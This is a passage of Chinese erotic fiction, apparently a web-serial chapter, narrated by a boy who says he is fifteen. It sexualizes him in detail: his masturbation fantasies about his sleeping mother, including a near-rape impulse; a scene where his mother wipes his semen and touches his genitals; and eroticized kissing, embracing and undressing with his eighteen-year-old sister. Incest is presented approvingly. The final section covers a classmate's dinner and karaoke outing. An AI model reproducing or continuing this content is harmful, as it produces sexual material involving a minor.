很是奇怪这天早上睡醒之后我心情很放松。我是比妈妈先睡醒过来的,外面的天色还没有大亮呢,晨光比较微弱,我睁开眼睛时,便朦朦胧胧地看到了妈妈迷人的睡姿,她的玉腿微屈着,脚掌的形状非常的性感,肌肤如凝脂,青丝仍然慵懒地搭在胸前,那是我昨晚的杰作,可见妈妈睡觉很安分的,没有特别大的动作。她侧面对着我,低胸的睡裙使我能够欣赏到她那令人心颤的乳勾,而由于她是侧睡的,致使她的双乳挤紧,更加的令人心颤。我暗暗地羡慕起婴儿时期的自己来,那时候的我可是随时都能够捧着这双美乳尽情地吸食乳汁的呢。我的目光住上移动,看到她那甜美的脸蛋,我终于忍不住凑过去,轻柔而深情地吻她。

我原本是想吻她的娇唇的,但是害怕吻醒了她,就只好求其次,亲吻了她的脸蛋。

此时我的阳具硬邦邦的,跟妈妈阴部的距离只有不到十釐米,但我并没有以往那么重的心理负担。我知道妈妈的睡眠很健康很有规律,时间没到是不会那么容易醒的,我想如果我对着熟睡的妈妈手淫,甚至当高潮快要来临时大胆地去亲吻她,那么肯定会前所未有的刺激,但奇怪的是我只是如此设想着,任由时光白白流逝,尽管这个计划完全具有可行性,而我却迟迟没有付诸于行动。并且我感觉到自己竟是懒得行动。

此时此刻,如此旖旎的情景,简直是绝好的机会,天赐良机,机不可失时不再来,然而我竟然仅仅满足那隐藏在内心深处的意淫,而懒得付诸实际的手淫以争取更大的快感。真是奇怪的奇怪次方啊!

感到奇怪的同时还感到惊喜,因为我从中似乎看到了戒掉亵渎妈妈这样的恶习的希望。

事实上我从来没有放弃尝试戒掉这个恶习,即使是在我一边幻想着妈妈的裸体一边手淫而达到性高潮的那一瞬间仍然如此。

但是如果按照我此时内心的想法去实施,是否就真的能够戒得掉呢?

这是需要用时间来证明的。且说说我这个突发其想的想法:要多跟妈妈亲近,尝试寻回作为儿子时那种对母亲的爱,以冲淡对母亲的性欲。

但是在后来的日子里却是证明,这基本上只是我想要长期跟妈妈睡觉的借口。

是的,从那时候开始我跟妈妈睡觉简直睡上了瘾,只要爸爸不在家睡,我晚上就会堂而皇之地去妈妈的房间,跟妈妈同床共眠一宿。或者有时候还是妈妈主动来到我的房间陪我睡的。

而让我感觉到奇怪的是,妈妈对我这样似乎无礼的要求,竟然由始至终连丝毫拒绝的意思都没有,仿佛在她以为跟已然到了青春期的儿子睡觉也是理所当然,完全没有什么难为情的事情。

当我意识到这个问题的时候,我已经上初三第二学期了,在这将近一年的时间里,我倒是把手淫的次数减到了每个星期三次左右,我觉得这已经是巨大的成功,但前提是必须要经常跟妈妈睡觉,在夜晚独自醒来的时候,偷偷地意淫她。是意淫而不是手淫。

但是也正是因为经常跟妈妈睡觉,而使得我对妈妈的性欲望变得越来越强烈。有一次我夜里醒来。感觉阳具硬胀得快要爆炸,那时候差点意志崩溃,要当场起来把甜睡中的妈妈强奸在床。

幸亏我当时成功悬崖勒马,终于才没有铸成大错。

可千万不要认为妈妈对陪我睡觉没有什么拒绝的意思,就可以得寸进尺,绝对没有这样的事情。

事实上她是有着非常明确的底线的,比如我虽然可以抚摸她的头发,双臂环着她的香肩睡去,但是她绝对不能够接受我把她抱在怀里。睡觉前我可以吻她的脸、额,但是绝对不能够吻她的唇、耳,以及嘴巴以下的任何地方。我也很清楚,其实那些地方都是女人比较敏感的,普遍都只有在跟自己的性伴侣做性交前戏时才会去亲吻的地方。甚至我连她的手也是不能吻的,只可以握着、抚摸。还有其他的事项这里不再多费笔墨,总而言之那些都是她的逆鳞,触则必怒。

妈妈虽然很疼爱我,但是如果真正发起火来,并且是她占着理的时候,那可不是开玩笑的。

所以我在跟她睡觉的时候,虽然有时候会趁她熟睡时做些意淫她的小举动,但是绝对不会选择触犯她的逆鳞。

话归原题,前面讲到我突然意识到妈妈对我似乎无礼的要求没能丝毫拒绝的意思,甚至还有时会主动地送上门来,爬上我的床跟我睡觉,这很奇怪,因为我知道别的母亲对自己的儿子绝对不是这样的,然而从她的底线来看,却绝无可能是想要跟我乱伦性交的意思。照我的观察,她连丝毫这样的念头都完全没有的。

如此我便想破脑袋也没法找到合理的解释。

我渐渐意识到我的妈妈跟别人的妈妈更多的异同,别人的妈妈或者在孩子还小的时候,也许是十岁以前的那段时光,会因为疼爱孩子而亲吻他,但是当到了少年时期后,普遍都不会再吻了,而我现在都已经到十五岁,将要初中毕业了,妈妈还是会拥抱我,吻我的脸颊,或许额头,而且总是那样轻轻地即触即离,即便如此,每次都能让我舒服到心里面去。

我实在是想不到什么合适的解释,若说妈妈有越轨跟我做爱的意思,但是她守卫自己的底线那简直就比坚守阵地的战士还要坚定,从而使我在她的面前连试探的勇气都没有。

我只好承认,这个问题无解,硬是要解,那就是妈妈实在太疼爱我了。

有时候我的床上会有两个女人,其中一个就是我的姐姐。

开始的时候姐姐见我总是要妈妈陪睡觉,还笑话我,但我觉得完全没有必要理会她的感受。

我的姐姐身体发育得很快,现在她的身材已经跟妈妈差不多的丰满,女人味也渐渐浓厚起来,我渐渐地也会幻想着她的身体来手淫,但还是比较少,更多的还是妈妈。不过可以肯定的是,我同样是很爱我的姐姐的。和对妈妈一样,其中会包括有性爱与亲情的爱。

在我情窦初开的年龄偏偏有这两个绝色尤物每天陪伴着我,想让我对她们不产生性欲都难啊。

但是我还是不喜欢姐姐凑合到跟我和妈妈一起睡觉,因为这样我就不得不安分很多,睡前不敢主动去亲吻妈妈,也不敢伸手到妈妈的背后去抚摸她的柔发。

这天夜晚就是我们在人同床共眠,妈妈睡在中间,我和姐姐分睡两边。

晚上也没发生什么特别的事情,但是到了早上我却不敢起来。妈妈以为我病了,就问我,“不舒服吗?”

我说,“没有,有些累,想多睡会儿。”

话刚说完,我才突然间发现,姐姐不知道什么时候睡到了我的旁边,只听得她突然发出一声尖叫,然后开始哈哈大笑起来。

妈妈奇怪地道,“蓉蓉,笑什么?”

我这才知道出事了!姐姐竟然一只手伸到我的裤子里……

“妈妈,弟弟遗精了呢……”姐姐唯恐世界不乱地叫道,手上竟然沾了我的精液,这死丫头!好没有廉耻啊!就不知道什么叫淑女风范吗?

我的脸色唰地羞红了,这次可糗大了,姐姐她怎么能够这样,完全没想过我的感受啊,我很生气!

但是我正害怕妈妈会怪罪我呢,因此低着头大气都不敢出。

然而出乎我意料的是,妈妈并没有责怪我,也没有表现得像姐姐那样大惊小怪的,竟然很大方自然地撕了截纸巾,温柔地道,“阿杰,别害羞,这是男孩子的正常反应,过来,让妈妈帮你擦干净。”

说完也不由得我反对,便拉下我的内裤,温柔地帮我擦拭里面的精液,并白了姐姐一眼,责怪道,“蓉蓉!可不许取笑你弟弟,男孩子遗精那是再正常不过的事情,难道你就没有例假来的时候?”

姐姐顿时就萎了,嗫嚅道,“我只是因为第一次亲眼见到,觉得新鲜嘛,嘻嘻,阿杰弟弟,对不起啦。”

我没空搭理她,因为这时候我已经欲仙欲死,妈妈为了擦得更仔细些,一只玉手扶住了我的阴茎,然后一股舒服无比的快感从她的指尖传到我的阴茎,马上就有了反应,昂扬冲天!妈妈却似不以为怪,神情淡定地帮我擦拭完毕,拉上裤子,说道,“好了,快去洗个澡,把内裤换了,不用觉得难为情,你身体哪个部分妈妈没有见过的?快去吧。”说完全她再撕了截纸巾,擦拭沾到她玉手上的精液。

离开时我突然在姐姐的屁股上一掐,把她掐得尖叫起来。

随即传来妈妈的笑声,“活该!”

姐姐见连妈妈都不帮她说话,便只好忍着痛不跟我计较。

我刚放好水想要沐浴,妈妈却突然帮我拿了套干净的睡衣进来,她把衣服在衣架上摆好,便温柔地拉着我的手,柔声地道,“这段时间,是不是在手淫?”

我心下一惊,脑里一片空白,根本不知道怎么回答好。

妈妈伸出一只玉手,轻轻抚慰着我的脸庞,温柔地道,“没关系的,妈妈只是想告诉你,这种事情虽然会让你快乐,但是很伤身子的,一定要节制,知道吗?”

我顿时觉得心头一宽,原本以为这种糗事泄密之后,妈妈绝不会轻饶了我,然而她竟然根本没有责怪我的意思,我内心又不禁奢望起来,说道,“我知道,我……一定会节制。”

妈妈满意地点了点头,又问道,“一个星期手淫几次?”

我伸出了手指,“三次。”

妈妈温柔地笑道,“很正常,看来就算不用我说,你也是知道节制的,但是这种事情,你也不用总是埋藏在心里,也不要觉得这是什么见不得人的事,男孩子都会这样,所以不需要有太多的心理负担,否则就会产生罪恶感,时间久了会憋出毛病来的。”

我原没有想到妈妈会如此宽容,将近一年时间里压在我心头的大石总算放了下来。

我说,“我知道了,谢谢妈妈。”

妈妈温柔一笑,便离开了浴室。

沐浴过之后我回到房间,发现姐姐还在我的床上睡着,她穿着柔软的睡裙,显现出她玲珑的身体,肌肤胜雪,唇红齿白,眸如秋水,整个人就犹如一件精美的艺术品。我暗暗地赞叹她的美丽。

说起来我还得感谢她,要不是她刚才当着妈妈揭穿了我梦遗的事情,我还不可能得到妈妈的温柔体贴和宽容呢。

我笑着走到床边,刚才发生的事情,当时倒不见得姐姐有什么尴尬,现在却见得她不好意思起来。她发现我的目光火热地打量着她的妙曼的身体,便即别过头去,竟装作没有发现。

我不由得心头一动。

我从未见过姐姐有这样的羞态,真的很美,很有女人味,也让我有种征服的快感。

我想也没想就爬上床去,躺到姐姐的身旁,突然张开双臂搂抱着她。

她微微地挣扎,但是挣不开我的怀抱,便突然仰起脸,道,“只到这种程度,别再得寸进尺哦。”

我点了点头,默契地道,“我知道,我也怕被妈妈发现呢。”

姐姐嗤地笑了一声,我就知道她终于放开了。她调整了一下身位,让我抱得更舒服一点,说道,“弟弟,你昨晚梦到谁?”

事实上昨晚我正是梦到了姐姐才发生梦遗的,我迟疑了一下便老实回答,“梦到姐姐了。”

姐姐在我的胸前打了一下,啐声道,“真没出息,我又没逼你,你就招了。”

忽然又道,“什么时候开始的?”

我说,“去年就开始了。”

姐姐认真地道,“嗯,还不算太早熟啦。每次都是梦到我?就没有别的美女么?”

我当然不敢说自己经常幻想着妈妈的裸体手淫,但也不能说每次都是她啊,“当然不只是你。”

姐姐捏着我的脸,“哼!这么花心,姐姐白疼你了!老实交待,还有什么美女让你做梦都想着的?”

我嗫嚅道,“我的女同学,说了你也不认识。”

姐姐笑道,“有可能,但是你那些女同学,有几个是发育成熟了的?多数都是胸扁扁的,肯定还有比较成熟的,快老实交待哦。”

她开放而大胆的言语着实让我感到惊讶,我说,“好吧,我老实交待,我经常幻想我的一个老师,是教语文的,身材很不借,就是长得没有姐姐你这么漂亮,皮肤也没有姐姐的白嫩。”

姐姐嘻嘻一笑,“油嘴滑舌,想讨好姐姐啊?”

说完突然翻身起来,拉着我的手臂道,“你平躺着,让我枕着你的手臂。”

我依言平躺着。

姐姐枕着我的手臂,并尽量地挨近我的身体,还让我被她枕着的那只手搂着她的肩膀,此时此刻,我们就好像一对刚刚完成性爱处于温存状态的小夫妻。

我紧贴着姐姐柔软如水的身体,顿时间感到飘飘欲仙,刺激程度丝毫不亚于刚才妈妈的玉手扶住我的阴茎时。

我意识到从这一刻开始,姐姐在我心里的位置将会变得更加的重要。

须臾,耳边传来姐姐舒服的唿气声,她忽然严肃地道,“弟弟,我们是不可以发生性关系的。”

“嗯。”我点头应道,内心免不了感到失望。姐姐和妈妈一样,都很在乎自己的底线。她现在已经明确地告诉我她的底线——绝不能对她进行实际性的性侵犯。

就在这时,我突然感觉到脸上微凉,是姐姐在亲吻我。

我一时之间不知所措,姐姐倒是十分镇定,吻毕后,白了我一眼,道,“看你,一点出息都没有,连做梦都在意淫我,我主动吻你,却不好意思起来了?”

我笑了笑,想要回吻她,却被她伸手拦住,原来是有言在先,“只许吻脸的。”

我点了点头,眼神突然深情起来,凑近姐姐娇艳的脸庞,嘴唇轻轻地吻下去,却久久舍不得移开。

姐姐伸手到我的背部轻抚着,温柔地道,“好了,吻这么久。”

我忽然凑到她的耳旁,唿吸顿时急促起来,鼓起勇气道,“姐姐,我爱你。”

说完我赶紧看她的脸色。

姐姐露出了欣喜的笑容,道,“无论你是哪一种爱,我都很高兴,因为我也爱你,阿杰弟弟。”

我顿时觉得心甜如蜜,情不自禁地伸手去抚姐姐的脸庞。

姐姐的肌肤很柔软很润滑,触摸她的肌肤时,我感觉到身体的每一个细胞都欢愉起来。

我的目光突然移到姐姐的胸部,她和妈妈同样喜欢穿低胸的睡裙,并且里面都不穿内衣,我清晰地看到了她迷人的乳勾。

姐姐很快注意到我的视线,突然捉住我的手,郑重其事地道,“胸部很敏感的,你不许摸。”

随后她还宣布了她身上很多处部位,是不准我触摸的。

我听话地答应着,最后我还是争取到一个权利,可以在只有我们两人的场合里,亲吻她的手背。

“弟弟,我们就这样说定了,以后不许越界,知道吗?”

“知道了。”我答应道。

说完我又温柔地亲吻了她,她闭着眼睛享受我的亲吻。 第四章:恋姐 这天早上巧合之下我和姐姐开诚布公,竟然大胆地宣布了各自内心深藏着的超越伦理的情欲。

姐姐今年已经十八岁,真正的豆蔻年华,很容易动情,她原本就很疼爱我,也许就是在发现我早晨梦遗的同时看到我的私处,男孩子的生殖器对于女孩子而言同样是具有难以抗拒的诱惑力的,一瞬之间就使得那原本属于对弟弟的疼爱,勇敢地冲破伦理道德的束缚,滋生出了情爱。

但是由于我们从小就从妈妈那里接受到比较严格的传统教育,所以内心总是比普通人更加畏惧伦理道德的报应,所以我们此时所产生的情欲,仍然很大程度地受到伦理道德的限制。

很明显的一点就是我们都不敢让这个秘密被妈妈有所察觉。

此时我的舌尖在姐姐娇嫩的肌肤上留恋着,仿佛与她合体,神经完全被前所未有的性快感所占据,仿佛整个人都要飘升起来。

因为我吻的时间实在太久了,姐姐已经从欲河中清醒过来,玉手捧着我的脸,轻声责怪道,“弟弟你又犯傻呢,吻这么久,待会妈妈进来我们不知觉怎么办?”

我闻言当即移开嘴唇,发现姐姐雪白的脸上留下了我淡淡的吻痕,便有些担心地道,“留了印呢,要不要去洗干净?”

姐姐倒并不在意,抬手随便地擦了擦,道,“洗什么洗呀,很快就没事了呢。”

忽然又说了句,“我也很舒服。”

我这才知道,原来女人也同样很喜欢性爱,喜欢亲昵。

由于时间不早,我们担心妈妈准备好了早餐后,会进来叫我们,所以不得不起床了。

姐姐自己去洗漱,妈妈正忙着准备早餐呢,我觉得没什么事情可做,就到了姐姐的闺房。

姐姐是很爱干净的人,她的闺房收拾得非常整洁,洋溢着淡淡的,清爽的香味,书桌上摆放着的,是她跟妈妈和我的照片,竟然没有爸爸的。这也难怪,因为爸爸重男轻女的观念简直严重到让人难以理解的程度,或许自从姐姐出生的那天起,他就根本没把这个女儿放在眼里,平时间待她也非常的冷淡。因此姐姐也就几乎是当自己出生在单亲家庭,她表面上以冷漠回应父亲对她的冷漠,但我想她并非不想得到父爱。

只见软床上摆放着一头毛绒绒的布熊猫,非常的逼真可爱,就是它经常陪伴着我的姐姐睡觉,我想将来我可以代替它的位置了。

床头旁边是姐姐的梳妆台,收拾得很整洁,很有淑女的风格。

我情不自禁地坐在梳妆台前面,面对着梳妆镜,把玩姐姐的饰物。

姐姐洗漱完了之后,赤着一双晶莹的玉足回来,我看见她还没有梳妆打扮,就突发奇想,站起来,温柔地拉着她的玉手,道,“姐姐你过来坐着,我要帮你梳头。”

姐姐微笑着,顺从地坐在我前面,这样一来她的头刚好到我腹部的位置。

她把梳子递到我的手上道,“那你梳吧。”

我从镜子里看到了她满脸享受的表情,眼神里尽是柔情,真的很想吻她,但最终还是忍住了。

我接过梳子的同时,突然弯腰,凑到她的头顶上深深地吸闻着她的发香,由衷地赞美道,“姐姐你好香呢。”

“香么,那你闻个够。”姐姐芳心大悦地道。

我笑着直起身,开始认真地帮她梳理头发。

我的手指从她的耳边轻轻地掠过,指尖触摸到她精致的耳垂,便不由得留恋了起来。

“傻弟弟,还不快帮姐姐梳头呀。”姐姐笑着催促道。

我的双指夹起一缕柔顺的发丝,痴迷地把玩着,说道,“姐姐,你今天戴耳坠好吗?”

姐姐早就穿了耳洞,只不过却不经常戴耳环的,而我觉得她戴起来会很好看。

姐姐仰着俏脸,对着我的眼神,温柔地道,“你喜欢么?”

我点了点头,“我想你戴着会很好看的。”

她便欣然地打开抽屉,取出个精致的首饰盒,从里面拿出她很久以前买的水晶耳坠,递给我道,“我很久没戴了呢,喏,你来帮我戴。”

“那好。”我兴奋地答应道,在接过水晶耳坠的时候,顺便握住她柔软的玉手,也没问她的意见,就拉到我的唇边,温柔地吻了下去。

姐姐并没有反抗,她默默地享受着我的亲吻所传达的爱意。

我认真地为她配戴好耳坠,对着镜子痴迷地端详着她美丽的容颜。

“美么?”姐姐突然温柔地发问。

我说,“当然美,我的姐姐,怎么可能不美呢?比天使还要美,还要圣洁呢”

姐姐满意地笑着,道,“那快梳头呀,我们还要赶去上学呢。”

她仍然穿着低胸的吊带睡裙,睡裙的料子手感很柔滑,视觉上则如同流动的牛奶一般,我时不时地低头往下看,看到她深深的乳勾,她从镜子里能够观察到我的举动,却并没有抗议,我便越大胆起来。突然伸手去抚摸她的脸,时而撩动她柔顺的青丝。

我由衷地道,“姐姐,因为有你,我好幸福。”

姐姐芳颜大悦,抓住我的手,动情地道,“姐姐也是呢。”

又道,“弟弟,好了不用梳了。”

她说完便站了起来,转过身,微笑着,玉手轻抚着我的脸,“午后放学到我学校来接我。”

由于我那所学校并没有开设高中部,所以姐姐和我并不在同一所学校上学,两校之间相隔较远,所以平时放学之后都是各自回家的。

现在姐姐要求我放学之后去接她,当然是为了在回家的路上我们能够单独相处,期间肯定少不了甜言蜜语的,虽然时间很短暂,但是也很宝贵。

我高兴地答应道,“好。”

姐姐忽然以命令的语气地道,“以后每天都这样,风雨不改,记住了么?”

说到这里竟然有种情人约会的味道,我顿时感到前所未有的兴奋,听话地道,“记住了。”

姐姐道,“快回去换衣服,要出门了呢。”

我闻言不由得心中一动,突然张臂抱着姐姐的香肩,央求道,“姐姐,我想看你……看你换衣服,我要看你的身体,好吗?”

姐姐倒未因我的话而害羞,却笑嘻嘻道,“这可不行。”

我不依地道,“为什么不行的?你的裸体我小时候又不是没见过。”

“嘿嘿,那怎么能比的,那时候本姑娘还没有发育呢,现在怎么能让你看的?你别想!”

“姐姐……”我突然双臂用力,让她的双乳压到我的胸前,感到一阵舒服,苦苦哀求道,“我就是想看看,我还从来没有看过成熟女人的身体呢,姐姐……你就答应让我看看好不好?我真的好想看啊!”

而姐姐摆着一副绝不肯松口的姿态,用力地挣开我的搂抱,口气顿时变得生硬起来,“绝对不行!这事没什么好商量的,你快点去换衣服吧。”

我闻言,内心油然间产生一阵失落,看来今天是根本没有可能一饱眼福了,也就没有再死缠烂打,一方面是不想强迫,一方面是怕姐姐真的跟我翻脸。

姐姐看见我满脸不愉快的表情,似乎内心觉得不忍,突然在我的脸上轻轻地吻了一下,神色也恢复到刚才那般温和,温柔地道,“你先去换好衣服,待会我只穿内衣,让你看,好吗?”

我不由得砰然心动,觉得这倒不失为一个折衷的办法,于是听话地回到自己的房间,以飞一般的速度换好了出门穿的衣服,然后还特意去看看妈妈,估计她一时半会还不会做好早餐,就兴冲冲地来到姐姐的闺房。

一看,姐姐果然只穿着白色胸罩和白色小内裤,好像一条搁浅的美人女一般摊坐在床上,挺着饱满的两团乳房,露出性感的臀部,曲线优美的小腿肚,伸着纤纤的玉足,可爱的小脚趾微微地弯着,脚背犹如平缓而流畅的斜坡。

皓腕微扬,玉指夹着一缕散落在耳畔的青丝,螓首微微偏向左边,双目如鸟儿轻睇。

肩若削成,颈若雪塑,纤腰若扶风之柳,秀发微乱而好看地贴着赤裸的肌肤。

她温情脉脉地问,“这样好不好看?”

我陶醉于姐姐的美貌,唿吸急促,脑筋有些转不过来,机械地道,“好美。”

“那你好好看,以后就让姐姐成为你的性幻想对象,在你的梦里,永远留着姐姐现在的模样。”

我想,即使没有你提醒,我自己都会。

姐姐并没有给我太多的时间,就穿好了短裙。

见我这时也回过神来,姐姐嫣然一笑,忽然拿起上衣抛给我,道,“你来给姐姐穿。”

我兴奋地答应着,在床边坐下后很享受地为她穿衣。

姐姐目前还是高三学生,去上学当然要穿校服的,他们学校女孩子下身穿的是过膝的短裙,而上身穿的是有领的T恤。

我为姐姐穿好衣服之后,突然心念一动,从背后轻轻地抱着她的纤纤细腰,嘴唇几乎贴着她的耳边,深情地吟起陶渊明《闲情赋》中的佳句:愿在衣而为领,承华首之余芳;悲罗襟之宵离,怨秋夜之未央!

愿在裳而为带,束窈窕之纤身;嗟温凉之异气,或脱故而服新!

愿在发而为泽,刷玄鬓于颓肩;悲佳人之屡沐,从白水而枯煎!

愿在眉而为黛,随瞻视以闲扬;悲脂粉之尚鲜,或取毁于华妆!

愿在莞而为席,安弱体于三秋;悲文茵之代御,方经年而见求!

愿在丝而为履,附素足以周旋;悲行止之有节,空委弃于床前!

愿在昼而为影,常依形而西东;悲高树之多荫,慨有时而不同!

愿在夜而为烛,照玉容于两楹;悲扶桑之舒光,奄灭景而藏明!

愿在竹而为扇,含凄飙于柔握;悲白露之晨零,顾襟袖以缅邈!

愿在木而为桐,作膝上之鸣琴;悲乐极而哀来,终推我而辍音!

我从小就熟读古文古诗,能背诵不少的名作,此时并没有刻意发掘,纯粹只是随感而发,这段佳句最适合表达我对姐姐的深切爱慕。

姐姐听着我抑扬顿挫的吟诵,很快便陶醉于其中,身体软软地陷进我的怀抱,随之而来的是她玉体的温香。我再次触摸到她柔滑的肌肤,淡淡的温情,缓缓地流进我的心扉。

我亲切地感觉到她身体的放松,她似乎毫无保留地把整个人都放心地交给了我。

她的体温和我的体温混合交融着,我们彼此都感受到了对方内心热烈的爱欲,却又不得不止步于咫尺。

“弟弟,你是一个能让女人心醉的男子,等你变得更成熟的时候,肯定会有很多漂亮女孩倒过来追求你呢。”她叹息地道。

妈妈进来叫吃早餐的时候,我们已经各自分开。

在餐桌上姐姐突然说,“妈妈,中午我和弟弟都不回家吃饭了,我们商量好了去市图书馆复习。”

这肯定是她突然想到的主意,我丝毫不知情,但是我很喜欢。

刚抬起来头,就迎来姐姐得意的一瞥。

而妈妈并没有感到惊讶,因为此时姐姐和我都处在冲刺的阶段,我为了要考重点高中,姐姐则是为要考重点大学。所以妈妈很爽快就答应了,只是有些担心地道,“你们中午都不休息,受得住?”

我说,“妈妈,没事的,现在晚睡时间不是比以前长了吗?”

其实对于我来说,考个重点高中的压力并不是多么的重,基本上很轻松就能够考上姐姐现在上的那所学校。

至于姐姐,在学校是有名的才女,但是想考清华北大的话,就得狠下心来,苦拼一番才多有胜算,但是她未必能够舍得离开妈妈和我,而独自去到那么远的地方上学,我想她多半会在本市,或者南方其他比较近的城市选一所重点大学吧,这样的话她只要正常发挥,就绝对没有问题的。

从此之后我和姐姐真真是出双入对,只不过并没有人能够发现我们暗中有不伦恋情。

妈妈还是像以前那样,我暗地里苦苦地爱慕着她,渴望跟恋爱,跟她性交,但她却丝毫没有反应,所有都只不过是我的单相思,她对我的爱,是深如海水的母爱。她的美容院自从去年就已经办了起来,所以她现在时间也是很紧的,但她却还是坚持中午和晚上七点钟以前回到家里,细心地照顾姐姐和我,似乎她向事业女性发展的同时,也并未想过舍弃家庭妇女的角色。

至于爸爸,我们常常会把他忽略。

我和姐姐每天中午都一起在市立图书馆度过,倒是都很认真复习的。姐姐是文科生,而我的文科和理科同时都有见长之处,在文科方面,我的特长是写作文和做古文古诗之类的题目,在这方面我完全可以指导比我早上三年学的姐姐。

理科虽然我成绩也不错,却远还没有达到连高中的数理化都会的程度。

距离姐姐高考还有不到两个月的时间,这天姐姐上次模拟考试的成绩刚出来,我下午去接她的时候却发现她的脸色并不怎么好看,对我也只是强颜欢笑。我当时也没有多问,就要跟她结伴回家。但是这时突然有个漂亮的长发女孩走了过来,叫道,“李蓉蓉同学,请等一等。”

姐姐明显更加不高兴,但是还是不情不愿地停了下来,对这个漂亮女孩道,“萧雨,找我有事?”

我正不客气地打量着这个叫做萧雨的女孩,她长得真的很漂亮,跟我姐姐难分胜负,但是她看起来更加的温婉可人,我瞬间从她的眼神中得到一个结论:她是一个外柔内刚的女孩。

萧雨也打量了一下我,同时把之前准备要说的话,暂时没有说出来,显得颇为好奇地对姐姐道,“他是谁?”

姐姐很不耐烦地道,“我弟弟,你有话快说吧。”

看到姐姐对这个萧雨态度如此冷淡,我就没有主动理会她了。

美女又怎么样,我家里有两大美女呢。我暗暗地想道。

萧雨也识趣地不再在我身上纠缠,忽然态度诚恳地对姐姐道,“李蓉蓉同学,刚才在课堂上我真的没有针对你的意思,如果你还是不高兴,我可以向你道歉……”

姐姐忽然笑着打断道,“好了,谁要你道歉了?你当我真的在乎你呀,没事了!”

我心中暗叫奇怪,到底什么情况?我印象中姐姐可不是这么善变的啊?

萧雨也是一头雾水的表情,迟疑道,“你真的……原谅我了?”

姐姐露着笑脸,豪爽地道,“是啊,我又不是小气的人,这不,真的原谅你了。”

她们刚才课堂上发生什么冲突?我虽然很是奇怪,但是却也没有追问姐姐的意思。

多半是鸡毛蒜皮的小事吧。我想道。要不然姐姐怎么这么好说话?

萧雨高兴地向姐姐伸出手道,“那我们以后可以做朋友吗?我初来乍到,还请多多关照呢。”

姐姐忽然拉住我的手道,“没问题,请我们去吃顿饭,当是结交宴吧。”

萧雨爽快地答应道,“好。”

随后她拦了辆车,我正迟疑,姐姐却不由分说,把我拉上车去。

“有美女请客,你还客气什么啊。”姐姐笑着责怪我道。

原来萧雨刚到这个城市没多久呢,说是因为家庭的原因才不得不搬过来的,现在距离高考这么近,她还要不得不转学校,可见她家里的事情挺严重的。

在出租车上我跟萧雨相互正式认识。

跟刚才比起来姐姐的脸色大为好转,简直是判若两人了,就连我这么亲近的人都不由得由衷感叹,这脸变得可真够快啊!

萧雨也不多疑有他,见她现在好像真的不生自己的气了,也就开朗起来,忽然开玩笑道,“我来的这些天,看到蓉蓉你每天放学后都有个男的来接,还以为是你的男朋友呢。”

姐姐开朗地道,“早知道还不让你知道他是我弟弟了,就当我真的有个这么年轻英俊的男朋友。”

话音刚落,我们姐弟俩便会意地看了对方一眼,偷偷地享受着冲破伦理的快感。

萧雨道,“是弟弟也很不错啊,我可真是很羡慕你呢,有个这么大的弟弟,多好啊,至少不用像我现在这么孤单,想找个年纪差不多的人聊天,都找不到。”

姐姐突然似笑非笑地看着萧雨,道,“那你觉得我弟弟帅么?要不让他做你男朋友?”

我吃了一惊,姐姐怎么乱说话啊!还当着前面的司机呢。

萧雨倒是当她是开玩笑的,并没有太在意,道,“是很帅呢,不过,还是留给你自己好了,现在姐弟恋可是很让人羡慕的哦。”

她这样说我倒是不想反对了,我是真的爱姐姐。

姐姐也并没有对此提出抗议,她笑说,“你不要拉倒,我弟弟还不至于没有人要呢,等再过两年,那男人味有了,来抢的美女多着呢,到时候你可别反悔哦。”

顿了顿,忽然又道,“而且,我弟弟可是罕见的才子哦,萧雨你不是喜欢古文古诗吗?我弟弟对这些文言文,可是当看白话文一样的。”

“真的这么厉害?”萧雨顿时来了兴趣,看着我道,“你读文言文真的能像读白话文那么轻松?”

这倒是事实,因为我很喜欢三国,两晋,隋唐,两宋,这些朝代的历史,所以经常到图书馆查看这些方面的历史资料,开始的时候我看的多是近代的一些历史专家的学术着作,但是看得多了这些着作,便渐渐对这些所谓的历史专家都产生怀疑,他们也就是从古代文献里面找依据来说事的而已,说他们自己的观点之前总是要先抄几段文言文出来,那我觉得还不如我自己直接查历史文献好了,所以就下了决心学习文言文。

我也不谦虚,道,“差不多吧,但也不是没有要查字典的时候。”

“那总比我要抱着一本古汉语辞典才能看得下去好得多啊!”萧雨羡慕地道,“对了,我看你们姐弟俩每天中午都去市图书馆复习,以后我也跟你们一起去好吗?”

我对此不发表意见,示意她去请示我姐姐的态度。

萧雨道,“蓉蓉我想请你弟弟在古文方面指导我,你不会有意见吧。”

姐姐耐人寻味地笑道,“没问题啊,只要我弟弟愿意,你想怎样玩都没问题。”

说完她拨了个电话,向妈妈请假呢。

等出租车停下来的时候,我发现这地方的环境还挺优雅的,便往车窗外一看,当下不由吃了一惊,竟然是龙王水宫,这里面连高级赌场都有,她还真是舍得下血本啊。

姐姐多半也有我这样的感受吧,她还没下车呢,对正在跟司机结帐的萧雨道,“随便吃顿饭就好,没必要这么破费的。”

萧雨硬是把我们拉下车来,笑说道,“怎么能够随便呢?我可是真心实意想跟你交朋友的……哦,还有你弟弟,他以后可就是我的古文老师了呢,这顿既是结交宴,也是拜师宴,一定要隆重才行。”

见她这样说,我们也不好再多劝她,就随她进了龙王水宫。

到这里吃的是天价饭,服务当然是不能够马虎的,简直可以说让你享足古代大贵族的待遇。

虽然如此,我和姐姐倒还不至于被这点场面吓倒,我们也不是没见过大场面的人,这顿饭吃得舒舒服服,沉沉默默——因为我们从小所接受的教育都是,食不言,寝不语,除非是在应酬的时候,但是我和姐姐都觉得,现在并不是在应酬啊。

原本想在吃饭的时候顺便交流感情的萧雨,也只好无可奈何地接受食不言寝不语的古训。

一顿饭吃完之后,萧雨见并没有达到目的,就又提建议道,“要不我们再去唱歌?刚刚考完模拟,明天又是周末,就放松一下嘛。”

姐姐爽快地道,“好,去就去,这次是我姐弟俩回请你的。”

如此商定,又吃了些水果,稍坐些时,便出了龙王水宫,寻了一座歌城。

虽然只有三个人,但姐姐还是要了个将军级的包厢,空间很大,还要了一打啤酒。等服务员调试好灯光和设备,退出去之后,我们就进入状态。

我比较喜欢听纯音乐,流行乐方面,喜欢听的多是中国风R

姐姐倒是个麦霸,歌喉也不错,但是要论高低的话,在场的三人当中还是要属萧雨最棒。

我觉得她唱得简直比原唱还要好听,也就不好意思抢麦了。

我在旁边边听她们甜美的歌声,边喝着吃酒,渐渐地有些痴迷。

姐姐和萧雨两人显得特别的亲密,我想下午的时候两人还似闹矛盾来着,姐姐变得可真是快速啊,就算是和好也没有那么快的啊。现在她们勾肩搭背的,简直就像是一对情侣。

想差了吧,她们都是女的呢。

